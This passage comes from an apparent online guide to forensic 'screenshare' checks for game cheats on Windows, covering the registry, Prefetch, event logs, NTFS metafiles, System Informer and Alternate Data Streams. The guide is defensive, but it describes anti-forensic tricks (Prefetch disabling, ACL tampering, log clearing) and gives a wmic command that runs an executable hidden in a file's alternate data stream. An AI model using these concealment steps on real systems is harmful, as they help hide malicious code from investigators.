`HKEY_CURRENT_USER` hive for the currently logged-on user, as well as hives for other user profiles loaded on the system (including default and system profiles identified by their SIDs). * `**HKEY_CLASSES_ROOT**` **(HKCR):** Primarily deals with file associations, COM object registrations, and UI-related information. It's largely a merged view derived from specific keys within HKLM\\Software\\Classes and HKCU\\Software\\Classes. * `**HKEY_CURRENT_CONFIG**` **(HKCC):** Holds information about the hardware profile currently being used by the system, generally derived from keys within HKLM. * **Keys / Subkeys:** Within each hive, information is organized into _Keys_ and _Subkeys_. These function like folders and subfolders, providing a logical structure for related settings. For example, `HKCU\Software\Microsoft\Windows` contains numerous subkeys related to the Windows settings for the current user. * **Values:** These are the actual data entries stored within keys. Each value consists of three parts: 1. **Name:** An identifier for the specific setting (e.g., `EnablePrefetcher`). A key can have a "(Default)" value which may or may not contain data. 2. **Data Type:** Defines the format of the data being stored (see below). 3. **Data:** The actual configuration setting or information itself (e.g., `3`, `C:\Program Files\MyApp`, `0x00000001`). [PreviousWindows Registry: Introduction](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction) [NextRegistry Value Types (Brief Overview)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types) Last updated 1 year ago --- # Registry Value Types (Brief Overview) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types.md) . Registry values store data in various formats. Understanding the basic types helps in interpreting the information found: * `REG_SZ`: A standard, fixed-length **text string**. Often used for file paths, descriptive names, or simple text settings. * `REG_EXPAND_SZ`: An **expandable text string**. Similar to `REG_SZ`, but it can contain environment variables (like `%SystemRoot%` or `%USERNAME%`) that are expanded by the system when the value is read. * `REG_BINARY`: Raw **binary data**, displayed in hexadecimal format in `regedit`. Used for storing complex configuration data, flags, or sometimes even small embedded files or structures. * `REG_DWORD` (32-bit) / `REG_QWORD` (64-bit): **Numerical values**. Often used for storing integer settings, boolean flags (where `0` typically means False/Disabled and `1` means True/Enabled), or bitmasks. * `REG_MULTI_SZ`: Stores **multiple text strings** within a single value entry. The strings are separated by null characters, with a final double null character indicating the end. Used for lists like network protocols or service dependencies. [PreviousRegistry Structure: Hives, Keys, and Values](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-structure-hives-keys-and-values) [NextWindows Event Logs: Introduction](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction) Last updated 1 year ago --- # $LogFile (Metadata Log) - Specific Log for Metadata Changes | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes.md) . Similar in purpose (logging changes for consistency) but distinct in function and scope from the `$USNJrnl` is the `**$LogFile**`. While `$USNJrnl` uses USN Records to track a broad range of filesystem events affecting files and directories, `$LogFile` serves as a highly specialized, **transactional log focused specifically on recording changes made to file system** _**metadata**_ before these changes are permanently committed to structures like the `$MFT`. It logs operations such as updates to file attributes, modifications to MACB timestamps within the `$MFT`, changes to MFT records themselves, updates to directory indexes, and other structural metadata alterations. Its primary system function is recoverability – ensuring the filesystem structure remains consistent even if a crash occurs during a metadata update. For forensic purposes, `$LogFile` can be extremely valuable, though challenging to analyze. It offers a very granular, short-term history of metadata modifications. This can potentially reveal: * Direct evidence of **timestomping**, possibly showing the original and intended fake timestamps within the same logged transaction. * Evidence of **attribute manipulation** (like setting Read-Only or Hidden flags). * A more precise sequence of events for rapid file creation/deletion/renaming than might be apparent from `$MFT` timestamps or even `$UsnJrnl` alone. However, `$LogFile` is notoriously **difficult to parse** due to its complex, largely undocumented internal format and its circular nature (it overwrites older entries relatively quickly on active systems). Specialized tools like **"NTFS Log Parser"** or advanced functions within comprehensive forensic suites are required to interpret its contents effectively. Its analysis is typically considered an advanced technique. [PreviousThe Journal ($USNJrnl) - The Change Log](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/the-journal-the-change-log) [NextAlternate Data Streams (ADS) - Hidden Data Streams](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams) Last updated 1 year ago --- # Key NTFS Components | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components.md) . NTFS manages volumes using several special, often hidden, system files known as _metafiles_ and internal structures. These are usually inaccessible through standard tools like Windows Explorer but contain a wealth of information vital for forensic analysis and understanding screenshare artifacts. [PreviousFundamental Timestamps](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/fundamental-timestamps) [NextMaster File Table ($MFT) - The File Catalog](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/master-file-table-the-file-catalog) Last updated 1 year ago --- # File Attributes (Read-Only, Hidden, etc.) - Manipulable Properties | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties.md) . Files within NTFS possess various _attributes_ – flags stored as metadata that control their behavior, visibility, and interaction with the operating system and applications. Common attributes encountered during screenshares include: * **Read-Only:** When set, this attribute attempts to prevent the file's content from being modified and makes deletion slightly harder (requiring confirmation or specific overrides). * **Hidden:** Files with this attribute are concealed from view in default directory listings, such as in File Explorer or basic `dir` commands in CMD. Viewing hidden files requires changing folder view settings ("Show hidden files, folders, and drives") or using specific commands (`dir /ah`). * **System:** Marks a file as critical for the operating system's function. System files are typically also hidden by default. Explorer has a separate setting ("Hide protected operating system files") for these. * **Archive:** Primarily used by backup software to track files that have been modified since the last backup. Less relevant for typical cheat detection. * **Not Content Indexed:** Excludes the file's content from being indexed by Windows Search. * **Temporary:** Marks the file for potential cleanup by disk utilities. * **Compressed / Encrypted:** Indicates NTFS-level compression or encryption is applied. These attributes can be easily viewed and modified through several means: * File Properties in Windows Explorer (Right-click > Properties > General tab). * Command-line tools: `attrib` (classic), `cacls`, `icacls` (more modern, permission-focused). * Programmatically via Windows APIs. In the context of screensharing and bypasses, attributes are often manipulated: * The **Hidden** attribute is commonly used to conceal cheat files, folders, or related artifacts from easy discovery. * The **Read-Only** attribute can be applied to forensic artifacts like **Prefetch files (**`**.pf**`**)** to prevent the operating system (SysMain service) from updating their last execution timestamps or run counts, effectively "freezing" the artifact to hide recent activity. Crucially, **changes to file attributes are typically logged** in the `**$USNJrnl**` under the `**BASIC_INFO_CHANGE**` reason code. Analyzing the Journal for such events related to suspicious files or known artifact locations can reveal tampering attempts. * * * [PreviousAlternate Data Streams (ADS) - Hidden Data Streams](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams) [NextCommon Windows Artifacts and Their Basic Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis) Last updated 1 year ago --- # Process Hacker / System Informer: Introduction and Configuration | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration.md) . **System Informer** is the actively developed successor to the popular (but now discontinued) Process Hacker 2. It is a free, open-source, and exceptionally powerful multi-purpose system utility that is **essential** for effective manual screensharing. While it offers extensive system monitoring and debugging capabilities, its primary relevance for screensharing lies in its ability to **deeply inspect running processes, services, network connections, and, crucially, their associated memory contents** for signs of unauthorized software or manipulation. [PreviousIntroduction to Process and Memory Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/introduction-to-process-and-memory-analysis) [NextKey Capabilities for ScreenSharing:](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/key-capabilities-for-screensharing) Last updated 1 year ago --- # Execution Traces and Recent Activity | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity.md) . Identifying precisely _when_ and _how_ applications were launched or specific files were accessed is often the primary goal when investigating potential cheat usage. Several key Windows artifacts are designed to store exactly this type of information. [PreviousCommon Windows Artifacts and Their Basic Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis) [NextPrefetch ( C:\\Windows\\Prefetch )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/execution-traces-and-recent-activity/prefetch) Last updated 1 year ago --- # Event Viewer ( eventvwr.msc ) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer.md) . * **Purpose:** This is the primary built-in Windows GUI tool for browsing, searching, filtering, and managing event logs. * **Access:** Launched via the Run dialog (Win+R -> `eventvwr` or `eventvwr.msc`) or by searching for "Event Viewer". * **Basic Use:** Provides a tree structure on the left pane to navigate different log channels (under "Windows Logs" and "Applications and Services Logs"). Key functionalities include: * Viewing event details (description, source, Event ID, user, time logged). * Sorting logs by columns (e.g., Date and Time, Level, Event ID). * **Filtering:** This is crucial for efficient analysis. Users can filter the current log based on time range (e.g., "Last hour," "Last 24 hours"), event level (Critical, Error, Warning, Information), specific Event IDs (e.g., `4616`, `1102`, `3079`), keywords within the event description, user accounts, or log sources. * **Caution:** Event logs often contain a massive volume of entries. Simply browsing without a specific goal or target (like a known Event ID related to a suspected bypass) can be extremely time-consuming and unproductive. Effective use relies on knowing _what_ to look for based on the investigation's context. The specific Event IDs mentioned earlier (4616, 1102, 3079, 104, 4798) are prime examples of targeted searches during screenshares. [PreviousThe EventLog Service](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service) [NextManual SS Techniques (Basic and Intermediate)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques) Last updated 1 year ago --- # Key Capabilities for ScreenSharing: | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/key-capabilities-for-screensharing.md) . * **Detailed Process Visualization:** Displays a comprehensive list of all running processes, services, drivers, and network connections, often revealing items hidden by the standard Windows Task Manager. * **Memory Inspection & String Searching:** Allows ScreenSharers to examine the virtual memory space allocated to any selected process and perform powerful searches within that memory for specific text strings (using keywords or regular expressions - regex) or binary patterns. This is the core function used to find cheat-related identifiers, loaded module paths, or suspicious commands within process memory. * **Loaded Modules (DLLs) Information:** Shows all the Dynamic Link Libraries (DLLs) loaded by a specific process, which is vital for identifying injected cheats or suspicious libraries. * **Network Activity Monitoring:** Provides real-time information on network connections established by each process, including remote IP addresses and ports, useful for detecting certain types of cheats or C2 communication. * **Service and Handle Information:** Allows inspection of system services, their associated processes (`svchost.exe` instances), and open handles (e.g., to files or registry keys) held by processes. * **Kernel Live Dumps:** (Advanced) Can create dumps of the kernel memory space for offline analysis. [PreviousProcess Hacker / System Informer: Introduction and Configuration](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration) [NextConfiguration: Enabling Kernel Mode Driver](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/configuration-enabling-kernel-mode-driver) Last updated 1 year ago --- # Windows Event Logs: Introduction | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction.md) . _Windows Event Logs_ are standardized logs maintained by the operating system and various applications and services to record significant occurrences, errors, warnings, and informational messages. They function like a detailed diary of system activity, providing chronological records crucial for troubleshooting problems, auditing security events, and performing forensic analysis. For screensharing, Event Logs are invaluable because they can provide evidence of: * User Logins and Logoffs (Successes and Failures - Security Log). * System Startup and Shutdown events. * Application Crashes, Hangs, and significant errors. * Security-relevant actions like changes to security policies or user account management (Security Log). * Service Start/Stop events (System Log). * **Attempts to clear the Event Logs themselves** (a highly suspicious activity often indicative of covering tracks). * Specific bypass technique artifacts, such as **System Time Changes** (Security Log, Event ID 4616) or **USN Journal Deletion** (Application Log, Event ID 3079). * Installation of software or drivers. Understanding how to navigate and query these logs is essential for uncovering evidence that might not be apparent in other artifacts. * **Location:** Event logs are stored as files, typically with the `.evtx` extension, in the `%SystemRoot%\System32\Winevt\Logs\` directory (usually `C:\Windows\System32\Winevt\Logs\`). [PreviousRegistry Value Types (Brief Overview)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-registry-introduction/registry-value-types) [NextEvent Log Structure ( .evtx Files)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure) Last updated 1 year ago --- # Troubleshooting and Evasion Detection | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/troubleshooting-and-evasion-detection.md) . Users may attempt to disable, clear, or manipulate Prefetch data to hide their tracks. Awareness of these techniques is key: * **Prefetch Disabled (Registry):** The primary control is the `EnablePrefetcher` DWORD value in the registry at: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters` Common values are `0` (Disabled), `1` (Application launch prefetching enabled), `2` (Boot prefetching enabled), `3` (Both enabled - default). A value of `0` found during a check is suspicious and indicates deliberate disabling. * **SysMain Service Stopped:** The `sysmain` service (formerly Superfetch) is responsible for managing the Prefetcher. Check its status using `sc query sysmain` in an administrative CMD. If the service `STATE` is not `RUNNING` (e.g., `STOPPED`), Prefetching is inactive. Restarting the service might be necessary for logging to resume, but doing so also clears some volatile system caches, which can impact other analysis steps. Finding it stopped without good reason is a red flag. * **Permission Tampering (CACLS/ICACLS Bypass):** Attackers might alter the security permissions (ACLs) of the `C:\Windows\Prefetch` folder itself to prevent the System or SysMain service from writing new `.pf` files or updating existing ones. This can be done using commands like `cacls` or `icacls`. Check the folder's Security tab in its Properties. Evidence of recent permission changes (granting/denying write access) can often be found in the USN Journal (`$UsnJrnl`) by looking for `SECURITY_CHANGE` reason codes associated with the `Prefetch` directory path. * **Hidden Prefetch Files:** Individual `.pf` files can be marked with the 'Hidden' attribute. Use `dir /ah C:\Windows\Prefetch` in an administrative CMD to reveal any hidden files within the directory. * **Prefetch Clearing:** Users may simply delete the contents of the `C:\Windows\Prefetch` folder. Finding the folder empty or missing expected entries (like `.pf` files for `explorer.exe`, `AnyDesk.exe`, or the game itself) when the SysMain service is running and Prefetch is enabled in the registry is highly indicative of manual clearing. The **USN Journal (**`**$UsnJrnl**`**)** is the primary tool to detect this, as it will log numerous `FILE_DELETE` events corresponding to `.pf` filenames occurring around the time of the clearing. [PreviousAnalysis Tools](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/analysis-tools) [NextLastActivityView: Artifact Aggregation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation) Last updated 1 year ago --- # Configuration: Enabling Kernel Mode Driver | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/configuration-enabling-kernel-mode-driver.md) . To gain full access to system information and overcome potential permission restrictions, especially when trying to inspect protected system processes (like `csrss.exe`, antivirus processes) or dealing with modern Windows security features (Windows 11+), enabling System Informer's **Kernel Mode Driver** is often necessary and highly recommended. 1. **Download and Install:** Obtain the latest version of System Informer from the official source (`https://systeminformer.sourceforge.io/`). Ensure you download the setup or binary files, not just the source code. 2. **Run as Administrator:** **Always** launch System Informer with administrative privileges (Right-click -> Run as administrator). This is required to install and utilize the kernel driver and access all process information. 3. **Access Options:** Once running, navigate to the main menu: Hacker > Options. 4. **Enable Kernel Driver:** In the Options window, go to the _General_ tab. Find and check the box labeled _Enable Kernel-Mode Driver_. Click OK. 5. **Restart System Informer:** Close the application completely and restart it again _as administrator_. The kernel driver should now load (you might see a brief UAC prompt or notification). If you encounter errors stating the driver couldn't load, it might be temporarily incompatible with a very recent Windows security update (developers usually update it quickly) or blocked by aggressive third-party security software. [PreviousKey Capabilities for ScreenSharing:](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/key-capabilities-for-screensharing) [NextGeneral Process Filtering Steps:](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/process-hacker-system-informer-introduction-and-configuration/general-process-filtering-steps) Last updated 1 year ago --- # Windows Prefetch Analysis (WinPrefetchView / PECmd) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis.md) . Prefetch analysis remains one of the most reliable and commonly used techniques in screensharing to establish evidence of program execution. Understanding how it works, what data it stores, and how to analyze it (along with potential bypasses) is essential. [PreviousOther Relevant Processes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/specific-processes-to-analyze-and-search-patterns/6-other-relevant-processes) [NextUnderstanding Prefetch](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/understanding-prefetch) Last updated 1 year ago --- # Analysis Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/analysis-tools.md) . Viewing the `C:\Windows\Prefetch` folder directly only shows filenames and basic file timestamps. Specialized tools are required to parse the binary `.pf` files and extract the rich metadata contained within: * **WinPrefetchView (Nirsoft):** * _Functionality:_ A widely adopted, free GUI tool specifically designed for parsing `.pf` files and presenting the extracted data in a user-friendly, sortable table. * _Interface:_ The main window typically lists all found Prefetch entries. Selecting an entry populates a lower pane with detailed information, including all run times, run counts, volume details, and the critical list of **files and directories referenced** during execution (often referred to as "Indexes" or loaded resources within the tool's interface). * _ScreenShare Use Cases:_ * _Confirming Execution & Timing:_ Directly verifying if and exactly when a specific `.exe` was run by examining its `.pf` file's timestamps (Last Run Time / File Modified Time). * _Detecting Renamed Executables:_ Easily spotting `.pf` files where the executable name part contains a non-standard extension (e.g., `MYCHEAT.TMP-HASH.pf`), indicating a likely attempt to disguise an executable file. * _Analyzing Loaded Resources:_ Examining the list of referenced files in the bottom pane for a specific `.pf` entry (e.g., checking `java.exe.pf` for loaded `.jar` cheat paths, or `rundll32.exe.pf` for injected `.dll` paths). * _Potential Process Hollowing Hint:_ Observing an empty "Executable Path" field within WinPrefetchView for a specific `.pf` entry _might_ sometimes correlate with process hollowing, though it requires other corroborating evidence. * **PECmd (Eric Zimmerman):** * _Functionality:_ A command-line interface (CLI) tool that is part of the larger Eric Zimmerman Tools suite. It offers more comprehensive and granular Prefetch parsing capabilities than many GUI tools. * _Usage:_ Executed via CMD or PowerShell (as Administrator). A typical command is `PECmd.exe -d "C:\Windows\Prefetch" --csv C:\OutputPath\`, which parses all `.pf` files in the specified source directory (`-d`) and outputs the detailed results into CSV files (`--csv`) in the designated output path (`C:\OutputPath\`). * _Output & Use:_ Generates detailed CSV files which can be loaded into tools like Timeline Explorer or spreadsheet software for advanced filtering, sorting, correlation with other artifacts, and timeline reconstruction. Particularly useful when dealing with corrupted `.pf` files that GUI tools might fail on, or when needing to programmatically analyze large numbers of entries. [PreviousInformation Stored in Prefetch Files](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/information-stored-in-prefetch-files) [NextTroubleshooting and Evasion Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/troubleshooting-and-evasion-detection) Last updated 1 year ago --- # Functionality in ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/functionality-in-screensharing.md) . LastActivityView serves as an excellent **first-look tool** during screenshares to quickly get a chronological overview of recent user actions: * **Detecting File Execution:** Shows recently run executables based on Prefetch data and potentially UserAssist or other registry traces. * **Identifying Opened/Saved Files:** Particularly useful for spotting recently accessed documents, images, archives, or potential cheat configuration files (`.cfg`, `.ini`, `.json`) based on the Open/Save MRU registry data it parses. * **Tracking DLL Usage/Interaction:** Can be effective at highlighting interactions with `.dll` files, _especially_ those loaded via standard mechanisms or those that might have **spoofed extensions** (e.g., a cheat `.dll` renamed to look like a `.cfg` or `.dat` file). Often, the act of an injector selecting a DLL via an "Open File" dialog, or a program loading a configuration file, will register in the OpenSavePidlMRU keys, which LastActivityView surfaces. * **Timeline Correlation:** By presenting data from multiple sources sorted by time, it aids in establishing basic timelines and correlating different actions (e.g., downloading an archive, then an executable running from a temporary extraction folder shortly after). [PreviousData Sources](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/data-sources) [NextLimitations and Considerations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/lastactivityview-artifact-aggregation/limitations-and-considerations) Last updated 1 year ago --- # Understanding Prefetch | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/understanding-prefetch.md) . As introduced earlier, _Prefetching_ is a standard Windows performance optimization mechanism. It monitors the initial file access patterns of applications when they launch and stores this information in dedicated files. The next time the application runs, Windows can use this stored data to load necessary resources into memory more proactively, theoretically speeding up the startup time. * **Location:** Prefetch data is stored as individual files (with a `.pf` extension) within the `C:\Windows\Prefetch` directory. Access usually requires administrator privileges. * **File Naming Convention:** Each `.pf` file corresponds to a specific executable run from a specific path and follows the pattern: `EXECUTABLENAME.EXE-HASH.pf`. * `EXECUTABLENAME.EXE`: The name of the executable file that was launched (e.g., `NOTEPAD.EXE`, `JAVAW.EXE`). * `HASH`: An 8-character hexadecimal hash derived from the **full path** of the executable. This hashing ensures that running the same program (e.g., `AnyDesk.exe`) from different locations (like Downloads vs. Desktop) generates _separate_ and distinct `.pf` files. * **Creation Trigger:** Generally, a Prefetch file is created or updated only when an **executable file (**`**.exe**`**)** is launched. * Running non-executable files like `.jar` archives will typically update or create a Prefetch entry for the **Java runtime environment** (`java.exe` or `javaw.exe`) that executes the `.jar`. * Loading `.dll` files via injection or standard mechanisms might generate or update Prefetch entries for the **host process** responsible for loading the DLL (e.g., `rundll32.exe`, `regsvr32.exe`, `dllhost.exe`, or the injector application itself). Direct execution of DLLs is not standard, so they don't get their own primary `.pf` files. [PreviousWindows Prefetch Analysis (WinPrefetchView / PECmd)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis) [NextInformation Stored in Prefetch Files](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/information-stored-in-prefetch-files) Last updated 1 year ago --- # The EventLog Service | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/the-eventlog-service.md) . * **Dependency:** The entire event logging system relies on the **Windows Event Log service (service name:** `**eventlog**`**)**. This service is responsible for managing log files, receiving events from providers, and allowing tools like Event Viewer to access the logs. * **Critical Status:** If the `eventlog` service is **stopped**, no new events will be recorded, and Event Viewer (and other log analysis tools) will be unable to function. Finding this service stopped during a screenshare is **extremely suspicious** and strongly suggests tampering or a significant system issue. * **Checking Status:** The service status can be verified using an administrative Command Prompt or PowerShell: `sc query eventlog`. The expected state is `RUNNING`. [PreviousEvent Log Structure ( .evtx Files)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-log-structure) [NextEvent Viewer ( eventvwr.msc )](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/fourth-section-common-windows-artifacts-and-their-basic-analysis/windows-event-logs-introduction/event-viewer) Last updated 1 year ago --- # Alternate Data Streams (ADS) - Hidden Data Streams | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/alternate-data-streams-hidden-data-streams.md) . _Alternate Data Streams (ADS)_ represent a lesser-known but powerful feature inherent to the NTFS file system. It allows **more than one data stream to be associated with a single filename**. Every file on an NTFS volume possesses a primary, unnamed data stream, conventionally referred to as `:$DATA` when explicitly named. This stream holds the file's main, expected content – the text in a `.txt` file, the pixel data in a `.jpg`, the machine code in an `.exe`. However, NTFS allows additional, _named_ data streams to be attached to the very same file entry in the `$MFT`. For example, a file named `MyDocument.txt` could have its main text in `MyDocument.txt:$DATA` and simultaneously have a hidden executable stored in `MyDocument.txt:HiddenApp.exe`. This capability can be easily abused to **hide data**. Malicious code, cheat tools, configuration files, logs, or sensitive information can be stored within an ADS attached to an otherwise innocuous-looking file (like `notepad.exe`, `calc.exe`, or a simple `.txt` or image file). Standard tools like **Windows File Explorer do not display the existence or size of these alternate streams** by default, making them effectively invisible to casual inspection. Detecting and examining ADS requires specific commands or dedicated tools: * Command Prompt: `dir /r` will list alternate streams for files in the current directory. * PowerShell: `Get-Item -Path .\MyDocument.txt -Stream *` lists streams for a specific file. `Get-Content -Path .\MyDocument.txt -Stream HiddenApp.exe` can read stream content (if text-based). * Dedicated Tools: Utilities like Nirsoft's AlternateStreamView or Sysinternals' Streams provide GUIs for easily finding, viewing, extracting, and deleting ADS across files and directories. * Execution: Executing code hidden in an ADS often requires specific techniques, such as the `wmic process call create "C:\path\file.txt:hidden.exe"` command, or using utilities like `forfiles`. Awareness of ADS is crucial during screenshares, as they represent a common technique for concealing malicious payloads. [Previous$LogFile (Metadata Log) - Specific Log for Metadata Changes](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/logfile-specific-log-for-metadata-changes) [NextFile Attributes (Read-Only, Hidden, etc.) - Manipulable Properties](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/third-section-windows-fundamentals/key-ntfs-components/file-attributes-manipulable-properties) Last updated 1 year ago --- # Information Stored in Prefetch Files | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/windows-prefetch-analysis/information-stored-in-prefetch-files.md) . Each `.pf` file is a trove of forensically valuable metadata relating to the execution instance(s) it represents: * **Executable Name:** The filename of the program that was run. * **Run Count:** The total number of times the application has been executed _from that specific path_. * **Last Run 